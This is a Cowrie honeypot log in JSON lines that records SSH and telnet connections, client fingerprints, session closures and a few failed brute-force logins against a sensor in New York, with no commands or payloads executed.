{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:23.602411Z","src_ip":"159.203.92.129","session":"23d7147e071d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aicg","password":"aicg","message":"login attempt [aicg/aicg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:23.613954Z","src_ip":"159.203.92.129","session":"23d7147e071d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:24.620656Z","src_ip":"159.203.92.129","session":"23d7147e071d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.337964057922363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:26.226214Z","src_ip":"186.64.112.9","session":"400d04f4f901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.218645572662354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:29.169607Z","src_ip":"50.116.100.16","session":"4ee5b09b3e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e727f65520","protocol":"telnet","message":"New connection: 167.71.232.127:59310 (159.203.135.109:23) [session: a6e727f65520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:32.538404Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":59346,"dst_ip":"159.203.135.109","dst_port":23,"session":"305f9ad9aaae","protocol":"telnet","message":"New connection: 167.71.232.127:59346 (159.203.135.109:23) [session: 305f9ad9aaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:32.635273Z"}
{"eventid":"cowrie.session.closed","duration":32.790103912353516,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:33.089283Z","src_ip":"50.116.100.16","session":"17c432817d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":57480,"dst_ip":"159.203.135.109","dst_port":23,"session":"1043bebeeac7","protocol":"telnet","message":"New connection: 50.116.100.16:57480 (159.203.135.109:23) [session: 1043bebeeac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:40.049549Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":34934,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a86fd30677b","protocol":"telnet","message":"New connection: 167.71.232.127:34934 (159.203.135.109:23) [session: 8a86fd30677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:42.621279Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":36086,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a5e90a41fe","protocol":"telnet","message":"New connection: 167.71.232.127:36086 (159.203.135.109:23) [session: 29a5e90a41fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:45.645517Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":37530,"dst_ip":"159.203.135.109","dst_port":23,"session":"3164cc5b40d4","protocol":"telnet","message":"New connection: 50.116.100.16:37530 (159.203.135.109:23) [session: 3164cc5b40d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:46.281103Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":36470,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a34b610c127","protocol":"telnet","message":"New connection: 167.71.232.127:36470 (159.203.135.109:23) [session: 2a34b610c127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:46.520328Z"}
{"eventid":"cowrie.session.closed","duration":30.680429697036743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:47.137602Z","src_ip":"50.116.100.16","session":"c32871a61a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.738192558288574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:49.012081Z","src_ip":"50.116.100.16","session":"796de8b3164e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905582189559937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:49.178377Z","src_ip":"50.116.100.16","session":"6c6cb8eb8291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.91.20.92","src_port":40374,"dst_ip":"10.17.0.5","dst_port":22,"session":"23e9b73b1ce5","protocol":"ssh","message":"New connection: 3.91.20.92:40374 (10.17.0.5:22) [session: 23e9b73b1ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:49.331023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:51.103748Z","src_ip":"3.91.20.92","session":"23e9b73b1ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:51.107473Z","src_ip":"3.91.20.92","session":"23e9b73b1ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:51.726840Z","src_ip":"3.91.20.92","session":"23e9b73b1ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61897587776184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:54.177295Z","src_ip":"167.71.232.127","session":"12d5808d7716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661273956298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:03.199529Z","src_ip":"167.71.232.127","session":"a6e727f65520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574685096740723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:03.209826Z","src_ip":"167.71.232.127","session":"305f9ad9aaae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":44020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5bf474fb3e","protocol":"telnet","message":"New connection: 167.71.232.127:44020 (159.203.135.109:23) [session: 7f5bf474fb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:04.579221Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47962,"dst_ip":"159.203.135.109","dst_port":22,"session":"c976e1fe40d6","protocol":"ssh","message":"New connection: 159.203.92.129:47962 (159.203.135.109:22) [session: c976e1fe40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:05.759059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:05.763975Z","src_ip":"159.203.92.129","session":"c976e1fe40d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:05.768652Z","src_ip":"159.203.92.129","session":"c976e1fe40d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aicg","password":"aicg123","message":"login attempt [aicg/aicg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:05.783737Z","src_ip":"159.203.92.129","session":"c976e1fe40d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:06.790054Z","src_ip":"159.203.92.129","session":"c976e1fe40d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":45448,"dst_ip":"159.203.135.109","dst_port":23,"session":"9579467ff94b","protocol":"telnet","message":"New connection: 167.71.232.127:45448 (159.203.135.109:23) [session: 9579467ff94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:08.557595Z"}
{"eventid":"cowrie.session.closed","duration":30.74962854385376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:10.799041Z","src_ip":"50.116.100.16","session":"1043bebeeac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554510354995728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:13.175708Z","src_ip":"167.71.232.127","session":"8a86fd30677b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"c496e1ccaed1","protocol":"telnet","message":"New connection: 195.216.185.169:42218 (10.17.0.5:23) [session: c496e1ccaed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:14.276426Z"}
{"eventid":"cowrie.session.closed","duration":30.52458667755127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:16.170012Z","src_ip":"167.71.232.127","session":"29a5e90a41fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847947597503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:17.128943Z","src_ip":"50.116.100.16","session":"3164cc5b40d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699901819229126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:17.220041Z","src_ip":"167.71.232.127","session":"2a34b610c127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":38992,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad3d5dc1ecb7","protocol":"telnet","message":"New connection: 50.116.100.16:38992 (159.203.135.109:23) [session: ad3d5dc1ecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:17.276285Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":49520,"dst_ip":"159.203.135.109","dst_port":23,"session":"a780c90da073","protocol":"telnet","message":"New connection: 167.71.232.127:49520 (159.203.135.109:23) [session: a780c90da073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:17.538450Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":50162,"dst_ip":"159.203.135.109","dst_port":23,"session":"e08261763f81","protocol":"telnet","message":"New connection: 167.71.232.127:50162 (159.203.135.109:23) [session: e08261763f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:18.650437Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":51554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e520d0a7c5","protocol":"telnet","message":"New connection: 167.71.232.127:51554 (159.203.135.109:23) [session: d6e520d0a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:21.533396Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":54366,"dst_ip":"159.203.135.109","dst_port":23,"session":"f274a7087e3f","protocol":"telnet","message":"New connection: 167.71.232.127:54366 (159.203.135.109:23) [session: f274a7087e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:28.955753Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f42dc83dd39","protocol":"telnet","message":"New connection: 167.71.232.127:55408 (159.203.135.109:23) [session: 1f42dc83dd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:31.700535Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":55776,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00df32d29ac","protocol":"telnet","message":"New connection: 167.71.232.127:55776 (159.203.135.109:23) [session: e00df32d29ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:32.560328Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":56060,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f15e87cc23d","protocol":"telnet","message":"New connection: 167.71.232.127:56060 (159.203.135.109:23) [session: 3f15e87cc23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:33.555906Z"}
{"eventid":"cowrie.session.closed","duration":30.65985870361328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:35.238949Z","src_ip":"167.71.232.127","session":"7f5bf474fb3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59736680984497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:39.154819Z","src_ip":"167.71.232.127","session":"9579467ff94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55994,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bccba663a08","protocol":"ssh","message":"New connection: 159.203.92.129:55994 (159.203.135.109:22) [session: 3bccba663a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:47.969906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:47.974565Z","src_ip":"159.203.92.129","session":"3bccba663a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:47.979169Z","src_ip":"159.203.92.129","session":"3bccba663a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aici","password":"123456","message":"login attempt [aici/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:47.990394Z","src_ip":"159.203.92.129","session":"3bccba663a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5813729763031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:48.119721Z","src_ip":"167.71.232.127","session":"a780c90da073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861295223236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:48.137449Z","src_ip":"50.116.100.16","session":"ad3d5dc1ecb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:48.995848Z","src_ip":"159.203.92.129","session":"3bccba663a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.520469665527344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:49.170789Z","src_ip":"167.71.232.127","session":"e08261763f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591888904571533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:06:52.125180Z","src_ip":"167.71.232.127","session":"d6e520d0a7c5","protocol":"telnet"}
